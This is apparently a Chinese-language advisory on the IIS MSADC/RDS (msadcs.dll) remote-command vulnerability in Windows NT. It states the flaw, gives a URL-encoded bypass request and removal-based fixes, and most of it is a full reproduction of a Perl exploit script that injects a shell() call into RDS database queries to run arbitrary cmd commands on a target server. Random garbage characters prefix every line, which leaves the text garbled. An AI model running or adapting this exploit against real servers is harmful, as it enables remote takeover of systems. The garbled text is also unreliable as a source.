IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
\7$m[h {l dn:g_!]p 涉及程序：
@ns2$(wkm@ Microsoft NT server
3543[W#a
{pd%I 描述：
RLw=y{% p 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\X
Nb 9- ' /z.\ S 详细：
wrK$ZO] 如果你没有时间读详细内容的话，就删除:
H1s{JJAM>i c:\Program Files\Common Files\System\Msadc\msadcs.dll
)WwysGkqol 有关的安全问题就没有了。
o7DDL{iR/ e4khReF; 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
j ;VYF
Qk Gr{ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
O|4~$7 关于利用ODBC远程漏洞的描述，请参看:
3|/ ;`KfQ jdXkU http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /n@_Ihx X'7 T" 5! 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
cK@O)Ko} http://www.microsoft.com/security/bulletins/MS99-025faq.asp :2 QA# Y^2Ma878 这里不再论述。
AH`tkPd I"Ju3o?u 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
uLe+1`Y5Ux dbB2/R I /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
hy
W4= 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
sFC1PdSk4T A>R ^iu 43,-
t_jV #将下面这段保存为txt文件，然后: "perl -x 文件名"
nITr5$f riFE.; #!perl
rouD"cy #
`z Z=#p/ # MSADC/RDS 'usage' (aka exploit) script
e%wbUr]c2 #
[EB2o.E sO # by rain.forest.puppy
o'>jO.| #
<2}"Y(zwKl # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&X}9D)\UJ # beta test and find errors!
] A<\ d 14s+ & use Socket; use Getopt::Std;
0EPF;
Xx getopts("e:vd:h:XR", \%args);
j(va# f# z<: 9,wtbP print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7: jSP$ %do|>7MO@ if (!defined $args{h} && !defined $args{R}) {
4>0xS - print qq~
57K1e~^ Usage: msadc.pl -h <host> { -d <delay> -X -v }
'G@Npp)&^ -h <host> = host you want to scan (ip or domain)
h,TDNR<1L -d <seconds> = delay between calls, default 1 second
|PI.xl:ch -X = dump Index Server path table, if available
:d)@|SR1 -v = verbose
%+o]1R -e = external dictionary file for step 5
~qFi0<-M 2>ce(4Gky Or a -R will resume a command session
5C#&vYnq ]2h~Db= ~; exit;}
@^k$`W; :L*CL 8m $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
r[EN`AxDb if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<0JW [m if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
BIw9@.99B- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3zs~ Y3M?i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:S~XE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@@SG0YxZ A' dt
WD if (!defined $args{R}){ $ret = &has_msadc;
WdunI~&. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
rh$%*l d Yf Vox; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]7h&ZF . "cmd /c ";
A n/) |B4 $in=<STDIN>; chomp $in;
ZLE4 XB] $command="cmd /c " . $in ;
s49 AF w
y:USS? if (defined $args{R}) {&load; exit;}
zcIZJVYA r4!z A-{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]%>;R^HY &try_btcustmr;
o] )qv~ o) VNXB7#ry print "\nStep 2: Trying to make our own DSN...";
@105 @9F &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
CIO&VK R^%7| print "\nStep 3: Trying known DSNs...";
NBUM* Z &known_dsn;
@ B+ t)$>++i print "\nStep 4: Trying known .mdbs...";
} 1X,~y] &known_mdb;
EG< K[t pm3? if (defined $args{e}){
;} ^Pfm8 print "\nStep 5: Trying dictionary of DSN names...";
J~n{gT<L &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'T+3tGCy+ P(A%z2Ql print "Sorry Charley...maybe next time?\n";
NrS1y"#d9 exit;
3YA !2 u rXM}^ ##############################################################################
?\ho 9nyK |W\CV0L2 sub sendraw { # ripped and modded from whisker
Vj~R6 sleep($delay); # it's a DoS on the server! At least on mine...
I-fs*yzj;8 my ($pstr)=@_;
zx;x@";p socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d:<{!}BR3 die("Socket problems\n");
~w4aA<2Uq if(connect(S,pack "SnA4x8",2,80,$target)){
9at 7$Nq select(S); $|=1;
. +.Y`0 print $pstr; my @in=<S>;
N:"E%:wSbi select(STDOUT); close(S);
qC`"<R=GX return @in;
3ywBq9FGhp } else { die("Can't connect...\n"); }}
E
hd* X Uh)z ##############################################################################
O6k[1C HZfcLDrO sub make_header { # make the HTTP request
YBHm d my $msadc=<<EOT
K _O3DcQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#l8CUg~Uj User-Agent: ACTIVEDATA
9Tjvc! 4_b Host: $ip
BXyZn0k Content-Length: $clen
];zi3oS^ Connection: Keep-Alive
o8Q(, P !7^fji ADCClientVersion:01.06
i"sVk8+o! Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ed>_=i <J?i +b --!ADM!ROX!YOUR!WORLD!
G8akMd]2 Content-Type: application/x-varg
$\m=-5 0- Content-Length: $reqlen
y~p7&^FeR F}i rCi47c EOT
!Y`nKC(=z ; $msadc=~s/\n/\r\n/g;
36&7J{MU return $msadc;}
@: %}clZ iK=H9j ##############################################################################
.:_dS=ut 3vVhE,1N sub make_req { # make the RDS request
F
N(&3Ull my ($switch, $p1, $p2)=@_;
,ulTZV my $req=""; my $t1, $t2, $query, $dsn;
DR f~l9f B3XVhUP if ($switch==1){ # this is the btcustmr.mdb query
%Ljc#AVg $query="Select * from Customers where City=" . make_shell();
fN8A'p[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N#]f?6 *R $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<NT /+>:2 _xUiHX< elsif ($switch==2){ # this is general make table query
J"FKd3~:E $query="create table AZZ (B int, C varchar(10))";
NoZz3*j= $dsn="$p1";}
O h<Z0M) v8- F;>H elsif ($switch==3){ # this is general exploit table query
_qJ[~'m<^C $query="select * from AZZ where C=" . make_shell();
'2:Ily,S@ $dsn="$p1";}
}6m5MH$7q >nvreis elsif ($switch==4){ # attempt to hork file info from index server
,| xG2G6 $query="select path from scope()";
URJ" $dsn="Provider=MSIDXS;";}
Nj sP" ^vsOlA(4 elsif ($switch==5){ # bad query
N-K .#5 $query="select";
*w>
/vu $dsn="$p1";}
BjO rQAO 83;1L:}` $t1= make_unicode($query);
e`#Gq0}8 $t2= make_unicode($dsn);
nV"[Wng N $req = "\x02\x00\x03\x00";
5
BcuLRId: $req.= "\x08\x00" . pack ("S1", length($t1));
>\(Ma3S
$req.= "\x00\x00" . $t1 ;
p *NC nD* $req.= "\x08\x00" . pack ("S1", length($t2));
jwAO{.}T1r $req.= "\x00\x00" . $t2 ;
gh i!4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
B:+}^= return $req;}
hiU_r="*ox |FPx8b;# ##############################################################################
2tn%/gf'm BQ_\8Qt| sub make_shell { # this makes the shell() statement
R!}B^DVt return "'|shell(\"$command\")|'";}
uyjZmT/- YJeZ{Wws ##############################################################################
nGX~G^mZ |]r# IpVf sub make_unicode { # quick little function to convert to unicode
$@8\9Y
{ my ($in)=@_; my $out;
l]3g6c for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
:M|bw{P * return $out;}
^b>E_u ,FS iE\ ##############################################################################
SuGlNp>#qm Q+dBSKSK sub rdo_success { # checks for RDO return success (this is kludge)
bs%]xf
~D; my (@in) = @_; my $base=content_start(@in);
69y TGUG3 if($in[$base]=~/multipart\/mixed/){
N]+x@M @^3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
#Yj0'bgK return 0;}
%z8@; bp$8hUNYz- ##############################################################################
alHwN^GhP o)S>x0| [ sub make_dsn { # this makes a DSN for us
uvD 6uIW< my @drives=("c","d","e","f");
% ,~; w0 print "\nMaking DSN: ";
G.B^C)g uu foreach $drive (@drives) {
$. V(_
print "$drive: ";
as
o8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[ .dNX "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6@bGh|
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
j]
M)i:n $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
~R!(% j ] return 0 if $2 eq "404"; # not found/doesn't exist
O aF+Z@ s if($2 eq "200") {
0SvPyf%AC foreach $line (@results) {
>2$Ehw:K^ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
[HQ1 7 } return 0;}
9n8;eE08 G/<{:R" ##############################################################################
{} vl^b JB b}{fo~ sub verify_exists {
1`2lTkg my ($page)=@_;
hn!$?Vo. my @results=sendraw("GET $page HTTP/1.0\n\n");
*x L#1 return $results[0];}
r \=p.cw< y7,~7f!N2 ##############################################################################
>]C;sP -! ;vX
@ sub try_btcustmr {
_;LHC;,:
my @drives=("c","d","e","f");
b2p<!? my @dirs=("winnt","winnt35","winnt351","win","windows");
DB?_E{y] <JZ=K5 foreach $dir (@dirs) {
L=HL1Qe$G] print "$dir -> "; # fun status so you can see progress
-6t#
?Dkc' foreach $drive (@drives) {
A=h`Z^8\B print "$drive: "; # ditto
nR"k % $ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.fD k5uo $reqlenlen=length( "$reqlen" );
QfwGf, 0p $clen= 206 + $reqlenlen + $reqlen;
c%uhQ 62 r=@h}TKv{I my @results=sendraw(make_header() . make_req(1,$drive,$dir));
bIWcL$}4Q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7Dm^49H else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8 yztV dh hc0VS3 k) ##############################################################################
P?]q*KViM :I<%.|8 sub odbc_error {
r% mN]?u my (@in)=@_; my $base;
*bv
Iq a my $base = content_start(@in);
[ d dEt if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
,FBF;zED $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{-17;M $ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a-%^!pN\M $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cJE2z2uW0 return $in[$base+4].$in[$base+5].$in[$base+6];}
wQ [2yq print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
!lu$WJ{M print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Z| wZyt$$ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*+@/:$|U 7*[>e7:A ##############################################################################
6e~+@S j&8 ~X2?* sub verbose {
Oa@X ! \ my ($in)=@_;
dWm[#,Q? return if !$verbose;
!4oYQB print STDOUT "\n$in\n";}
#axRg=d?K { bc<0 ##############################################################################
.v ;2Q7X h)A+5^:^ sub save {
A]=?fyPh{' my ($p1, $p2, $p3, $p4)=@_;
>u4uV 8S open(OUT, ">rds.save") || print "Problem saving parameters...\n";
VK`b'U &l" print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Yq5}r?N close OUT;}
|c > &BE[=& | ##############################################################################
dc lJ Bwll
[=_I sub load {
uVisU%p my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%FyB\IQ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4]
DmgOru% @p=<IN>; close(IN);
p1Lx\ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
EQ=Enw1[ $target= inet_aton($ip) || die("inet_aton problems");
\uanQ| Nu print "Resuming to $ip ...";
F7"I hb^l $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:;??!V if($p[1]==1) {
>Zmpsa+ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
fDbs3"H Q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
UdLC] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
G. oaDGy if (rdo_success(@results)){print "Success!\n";}
E,C<ox4e else { print "failed\n"; verbose(odbc_error(@results));}}
eMh:T@S N elsif ($p[1]==3){
c wpDad[Kx if(run_query("$p[3]")){
5~.\rcr% print "Success!\n";} else { print "failed\n"; }}
D=dY4WwG elsif ($p[1]==4){
$X\BO& if(run_query($drvst . "$p[3]")){
Ke 'bH print "Success!\n"; } else { print "failed\n"; }}
C2Y&q X, exit;}
+d'h20 EB> RY+\ ##############################################################################
MuO>O97 .s2d sub create_table {
K7_)!=DcX my ($in)=@_;
_Yh4[TT~/ $reqlen=length( make_req(2,$in,"") ) - 28;
~CM{?{z; $reqlenlen=length( "$reqlen" );
ff: &MsA|, $clen= 206 + $reqlenlen + $reqlen;
J v)] 7u my @results=sendraw(make_header() . make_req(2,$in,""));
9Z+@i:_} return 1 if rdo_success(@results);
m9PcD hv my $temp= odbc_error(@results); verbose($temp);
Js=|r;' return 1 if $temp=~/Table 'AZZ' already exists/;
;G},xDGO_m return 0;}
p.l]% \QI !J: DBtGT ##############################################################################
Uf\*u$78 [C r_2 sub known_dsn {
YDQV,`S7 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
%@BQv 4oJ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
]AHi $Xx "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Tzk8y 7$[ "banner", "banners", "ads", "ADCDemo", "ADCTest");
X2Lhb{ZHE M#|T Qa N foreach $dSn (@dsns) {
@pG\5 Jnf print ".";
a .]
! next if (!is_access("DSN=$dSn"));
Z;n}* ^U if(create_table("DSN=$dSn")){
U7 ajDw print "$dSn successful\n";
B8TI 5mZ4 if(run_query("DSN=$dSn")){
-Xd/-,zPY print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qc`_&!*D print "Something's borked. Use verbose next time\n";}}} print "\n";}
ZE=~ re ipbVQ7 ##############################################################################
2"i<--Y a7d782~ sub is_access {
}RoM N$r my ($in)=@_;
-D(Ubk Pw $reqlen=length( make_req(5,$in,"") ) - 28;
!w/~dy $reqlenlen=length( "$reqlen" );
J'7){C"G$ $clen= 206 + $reqlenlen + $reqlen;
Gwv s~jN my @results=sendraw(make_header() . make_req(5,$in,""));
2?}( my $temp= odbc_error(@results);
-)$)< k verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<`N\FM^vo return 0;}
@:c
1+ h 1Q7(8=Eg ##############################################################################
9#3+k/A -6H)GK14b sub run_query {
JdV!m`XpXy my ($in)=@_;
VKs$J)6 $reqlen=length( make_req(3,$in,"") ) - 28;
UW>~C $reqlenlen=length( "$reqlen" );
tSO F7N/< $clen= 206 + $reqlenlen + $reqlen;
uZQ)A,#n; my @results=sendraw(make_header() . make_req(3,$in,""));
1-qQp.Wj return 1 if rdo_success(@results);
=)bZSb"<" my $temp= odbc_error(@results); verbose($temp);
Y{J/Oib return 0;}
~ R* 6w($ h]zx7zt-
##############################################################################
?]7ITF i3Ffk+ |b sub known_mdb {
l"cO@.T3 my @drives=("c","d","e","f","g");
\dfq& oyU\ my @dirs=("winnt","winnt35","winnt351","win","windows");
V K NC K my $dir, $drive, $mdb;
U2bb|6j my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,3W a~\/Q ]&9f:5', # this is sparse, because I don't know of many
Z
v~
A9bB my @sysmdbs=( "\\catroot\\icatalog.mdb",
q,*IR*B:a "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
O=-|b kO "\\system32\\certmdb.mdb",
Mv9s "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H?aB8=) ;bA9 (:? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I{RktO;1 "\\cfusion\\cfapps\\forums\\forums_.mdb",
fB:M'A' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Dv hK0L*Qr "\\cfusion\\cfapps\\security\\realm_.mdb",
P!vB S "S "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ZRX>SyM "\\cfusion\\database\\cfexamples.mdb",
I 5bi^!i "\\cfusion\\database\\cfsnippets.mdb",
0CDTj,eK "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
FF/MTd}6qG "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
6?Ks H;L9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
{2q "\\cfusion\\database\\smpolicy.mdb",
CId`6W "\\cfusion\\database\cypress.mdb",
C&;'Pw9H "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
F^a D!O ~ "\\website\\cgi-win\\dbsample.mdb",
r1=Zoxc=w "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;=n7 Z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9:kb0oBa?l ); #these are just
[t6)M~&e:_ foreach $drive (@drives) {
wo_FM
`@ foreach $dir (@dirs){
a;h:o>Do5 foreach $mdb (@sysmdbs) {
sF|$oyDE print ".";
Cn_Mz#Z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
o S`F Yy print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
D{8V^%{ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
'@:;oe@] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<<A@69"4n } else { print "Something's borked. Use verbose next time\n"; }}}}}
JN8k x;@ JTb<u C foreach $drive (@drives) {
@lJGdp foreach $mdb (@mdbs) {
oZ8SEC "] print ".";
AG9U2x if(create_table($drv . $drive . $dir . $mdb)){
BShZ)t print "\n" . $drive . $dir . $mdb . " successful\n";
A l` ;SWN if(run_query($drv . $drive . $dir . $mdb)){
B"EMir' print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`n %~#TJ } else { print "Something's borked. Use verbose next time\n"; }}}}
`QkzWy~V3 }
J* ;t{M5 v |i(peA # ##############################################################################
PNKmI 5q) E ed sub hork_idx {
tb=(L print "\nAttempting to dump Index Server tables...\n";
<<`."RY#0 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
RSnK`N\9jb $reqlen=length( make_req(4,"","") ) - 28;
/stED{j, $reqlenlen=length( "$reqlen" );
`Y[zF1$kz^ $clen= 206 + $reqlenlen + $reqlen;
M9N|Ql my @results=sendraw2(make_header() . make_req(4,"",""));
_{b a if (rdo_success(@results)){
|_ @iaLE my $max=@results; my $c; my %d;
gVD!.
for($c=19; $c<$max; $c++){
:4Y|%7[
$results[$c]=~s/\x00//g;
fDRQ(} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
bk7miRIB $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%v|,-B7Yx $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
G ?"1
z; $d{"$1$2"}="";}
h?R-t*G? foreach $c (keys %d){ print "$c\n"; }
'2
)d9_ w } else {print "Index server doesn't seem to be installed.\n"; }}
c^=:]^ 1XZ&X] ##############################################################################
-p)HH@6a wHY;Y-(Z T sub dsn_dict {
e)iVX<qb open(IN, "<$args{e}") || die("Can't open external dictionary\n");
< Nw?9P while(<IN>){
HKh)T$IZM $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
pkT
a^I next if (!is_access("DSN=$dSn"));
i@p?.%K{ if(create_table("DSN=$dSn")){
hyBS S,I print "$dSn successful\n";
; w+A38N$J if(run_query("DSN=$dSn")){
!sLn;1l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6F<L4*4U
print "Something's borked. Use verbose next time\n";}}}
: ._O.O print "\n"; close(IN);}
Te.hXCFD wY=ky629 ##############################################################################
s+CWyW@ E+01"G<Q sub sendraw2 { # ripped and modded from whisker
lz>5bR' sleep($delay); # it's a DoS on the server! At least on mine...
+&t{IP(? my ($pstr)=@_;
?ph"|LyL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
MKH7d/x die("Socket problems\n");
56v<!L5% if(connect(S,pack "SnA4x8",2,80,$target)){
HL)1 {[|` print "Connected. Getting data";
EU\1EBT^ open(OUT,">raw.out"); my @in;
*$s)p > select(S); $|=1; print $pstr;
eHjR/MMr_ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
[&39Yv.k,7 close(OUT); select(STDOUT); close(S); return @in;
!#X^nlc } else { die("Can't connect...\n"); }}
:4 ;>). C
:e 'wmA ##############################################################################
2z-&Ya Qu Ii
K&v<(] sub content_start { # this will take in the server headers
;; U2I5 M7 my (@in)=@_; my $c;
2AlLcfAW for ($c=1;$c<500;$c++) {
P " % / if($in[$c] =~/^\x0d\x0a/){
[oYe/<3 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\myj Y else { return $c+1; }}}
KL|B| u return -1;} # it should never get here actually
sX=!o})0 CtE".UlCA ##############################################################################
zL_X?UmV d~n+Ds)%F sub funky {
6 \]-J*e> my (@in)=@_; my $error=odbc_error(@in);
P ffwNj/l if($error=~/ADO could not find the specified provider/){
m t*v@'l . print "\nServer returned an ADO miscofiguration message\nAborting.\n";
l"vT@ g| exit;}
foN;Q1?lS if($error=~/A Handler is required/){
't>Qj7vh0 print "\nServer has custom handler filters (they most likely are patched)\n";
iCc \p2p exit;}
*JDc1$H0 if($error=~/specified Handler has denied Access/){
2/bck)p= print "\nServer has custom handler filters (they most likely are patched)\n";
U M#]ol h exit;}}
B(>_.x#kv |6uEf/*DX ##############################################################################
CZ0 {*K: 9 np<r82 sub has_msadc {
W]R5\ G* my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
gG $o8c- my $base=content_start(@results);
R
vY`9D return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
q2SkkY$_]y return 0;}
Llzowlf e P"~ B2__* ########################
:b
;5O3:B %k2zsM X~R
qv5@- 解决方案：
0!?f9kJq 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|e\:0O? 2、移除web 目录: /msadc
